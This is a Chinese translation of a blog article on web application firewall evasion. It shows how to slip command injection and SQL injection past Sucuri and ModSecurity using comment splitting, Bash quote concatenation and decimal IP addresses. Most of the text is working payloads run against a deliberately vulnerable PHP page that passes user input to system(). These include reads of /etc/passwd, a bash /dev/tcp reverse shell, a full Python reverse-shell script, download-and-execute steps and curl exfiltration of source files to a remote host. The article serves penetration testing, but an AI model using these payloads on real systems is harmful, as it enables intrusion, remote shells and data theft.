WAF绕过技术系列文章(二)
在前面的文章中,我们已经了解了如何利用通配符来绕过WAF规则,更具体地说,是使用问号通配符。当然,还有很多其他的WAF规则绕过方式,WAF我认为不同的攻击有不同的WAF规则绕过方法。例如:在SQL注入中你可以使用注释语法来绕过WAF,而不只是简单的使用加号:
/?id=1+un/**/ion+sel/**/ect+1,2,3--
这是一个不错的方法,特别是当目标网站的WAF防御等级偏低时,星号和连字符能帮你成功绕过WAF。但这只能用于SQL注入,不能被用于本地文件包含和远程命令执行。对于某些特殊的场景,WAF是很难真正防御住针对目标网站的远程命令执行,因为这种攻击使用了“字符串连接符”。
如果你想实际操作这些绕过方法,可以在我创造的FluxCapacitor手动练习,这是一个在hackthebox上的漏洞演示虚拟机。
连接符
在许多编程语言中,字符串连接通常靠一个二进制符号。例如,加号,"Hello, " + "World"
得到值为"Hello, World"
。在其他编程语言中,连接符可能是不同符号,特别是涉及到隐式的类型转换,并不会使用加号等符号。例如在Perl和PHP中连接符为.
,在Lua等语言中,连接符为..
:
$ php -r 'echo "hello"." world"."\n";'
hello world
$ python -c 'print "hello" + " world"'
hello world
但是你可别认为这是连接两个字符串的唯一方式。
当你在Bash使用C,C++,Python等编程语言时,你可以利用一种基于Bash的字符串连接特性,即:两个相邻的字符串即使中间没有任何符号,它们也可被当作连接在一起,"Hello," "World"
等同于"Hello, World"
。这个特性不仅适用于printf和echo等命令,还可适用于整体Bash语法。让我们从简单的例子开始。
下面的所有命令运行结果相同:
# echo test
# echo 't'e's't
# echo 'te'st
# echo 'te'st''
# echo 'te'''st''
# python -c 'print "te" "st"'
从上我们可以清楚了解到Bash中的字符串连接特性。实际上,'te's't'
是由三个字符串组成:字符串te、字符串s和字符串t。这种语法可可有效绕过基于“字符串匹配”的waf规则。
ModSecurity中的防御规则SecRule ARGS "@pm passwd shadow groups"…
将拦截所有包含字符串passwd或字符串shadow的请求。但是,如果我们把它们转换成pa'ss'wd
或sh'ad'ow
呢?就像我上面所提到的那样。而且,你不仅可以使用连接字符串来代替文件参数,还可以用来代替执行路径!
下面的所有命令运行结果也相同:
$ /bin/cat /etc/passwd
$ /bin/cat /e'tc'/pa'ss'wd
$ /bin/c'at' /e'tc'/pa'ss'wd
$ /b'i'n/c'a't /e't'c/p'a's's'w'd'
现在,我们已经发现一个远程命令执行的绕过WAF方法。如果你面临的WAF存在基于敏感字符串的拦截,你就可以用它绕过WAF规则:
curl .../?url=;+cat+/e't'c/pa'ss'wd
下面我会用PHP代码做些测试,像往常一样,目标WAF是sucuri WAF和ModSecurity。如下是我们的网页代码,当然,它显得太过简单,功能主要是利用curl
和system()
形成一个命令执行场景。虽然它看起来很不靠谱,但奇怪的是,你可以在多个实际应用场景发现这种愚蠢的代码。
<?php
if ( isset($_GET['zzz']) ) {
system('curl -v '.$_GET['zzz']);
}
绕过Sucuri WAF
我想我在发布这些文章后,Sucuri会立马把我拉黑。但是,我发誓:我使用Sucuri waf与ModSecurity进行比较,不是因为我要说明哪个更好。因为Sucuri被广泛使用,如果有用户阅读了本文,就可以在他们的自己的Web应用上更好地进行安全测试。
首先,我尝试发出请求获取google.com,而使用最原始地请求:
curl -v 'http://test1.unicresit.it/?zzz=google.com'
如预期的一样,返回了google.com的302页面,基于地理位置,让我跳转到www.google.de:
现在,为了做坏事,我使用分号破坏curl语法,尝试执行其他系统命令。但是当我试图读取/etc/passwd文件时,Sucuri就会拦截请求,请求如下:
curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'
被Sucuri拦截的原因如下:“检测到一个RFI/LFI攻击”。我认为(只是一个假设)Sucuri的这个拦截使用了类似于我们上面所提及的“字符串匹配”技术,它可能会拦截所有常见的路径和文件名,如/etc/passwd。当我把这个WAF的拦截力度调到最低时,我就可以利用两个单引号来绕过!
curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"
我知道你现在在想什么:“就算你可以读取passwd文件又怎样……你可以绕过Sucuri WAF得到一个shell吗?”这个问题的答案当然是,YES!唯一的问题就是我们不能使用netcat,因为它还没有安装。
$ curl -s "http://test1.unicresit.it/?zzz=;+which+ls"
/bin/ls
$ curl -s "http://test1.unicresit.it/?zzz=;+which+nc"
$
返回一个shell的最简单方法是使用bash -i
命令:bash -i >& /dev/tcp/1.1.1.1/1337 0>&1
,但不幸的是,它太复杂了,很难彻底绕过WAF,这同时也意味着很难使用一些php、perl或python代码来获得shell。Sucuri WAF频繁拦截了我的请求,原因是:检测到模糊攻击。
接下来,我尝试使用curl或wget命令将python的反弹shell脚本上传上去,以获得shell。shell.py代码如下:
!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
然后,我们在本机使用python -c SimpleHTTPServer
或php -s
等搭建Web服务,方便目标服务器从中下载python文件,下载shell.py文件用以下语法:
curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'
好的,Sucuri Waf没有拦截这个请求,但是ModSecurity通常会拦截这类请求,为了要绕过这类WAF规则,可以使用wget+ip转换+字符串连接
来达成:
.../?zzz=wg'e't 168431108 -P tmp
.../?zzz=c'hm'od 777 -R tmp
.../?zzz=/t'm'p/index.html
第一个命令使用wget下载shell文件到/tmp/。第二个命令使用chmod修改其可执行权限,第三个命令是执行它。如您所见,wget命令发出的请求中没有指明文件名,因此被下载的文件被命名为index.html。你可以使用netcat 命令nc手动写入HTTP的响应头和内容主体来决定文件内容,如下所示:
接下来,我们要绕过更难的WAF
绕过ModSecurity和OWASP的核心规则集
你可能认为我们可以用上面的技术绕过OWASP核心规则集的低级规。但是,这是不可能的。因为有两个小东西叫做normalizePath
和cmdLine
。在ModSecurity中,它们被称为“转换函数”,用于将用户输入的原始数据先转换,然后再匹配。如果WAF认为数据无害,才会发送原始数据到Web服务器。
normalizePath
:它会删除字符串中的多个斜杠、目录的自引用和目录的上级引用(除了最开始的输入)。
cmdLine
:由Marc Stern开发,会将所有的输入规范化,例如/e't'c/pa'ss'wd
会被转换规范为/etc/passwd
。总之它可以做很多事:
删除所有反斜杠
删除所有双引号
删除所有单引号
删除所有前插符
删除斜线前的空格
删除左括号前的空格
将所有逗号和分号替换为空格
将多个空格(包括制表符、换行符等)替换为一个空格
将所有字符转换为小写
因为cmdLine
,WAF规则932160就可以拦截所有利用字符串连接来进行远程命令执行的尝试,拦截信息如下:
Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )"
"o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase"
"ruleId":"932160"
现在我不能读取/etc/passwd,但不要绝望!OWASP核心规则集会拦截常用的文件路径和命令,但它不能对目标应用的源代码执行拦截。我虽然不能使用分号(这意味着我不能跳出curl语法),但我可以使用curl来提取文件并将其发送到远程服务器。以上方法可绕过0到3级别的防御。
主要方法是利用POST的HTTP请求将文件发送到远程服务器,命令如下:
curl -d @/<file> <remote server>
在此基础上,我们把@
编码为%40
:
curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"
如果防御等级为4,以上这些都不起作用,因为payload中的连字符、正斜杠等字符会引起拦截。但好消息是,防御级别4在生产环境中很少见。
反斜杠的兴起
上面所述的绕过技术同样也可以应用于反斜杠字符。反斜杠不是用来串联字符串,而是用来转义:
以上就是全部内容。谢谢!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0
最新评论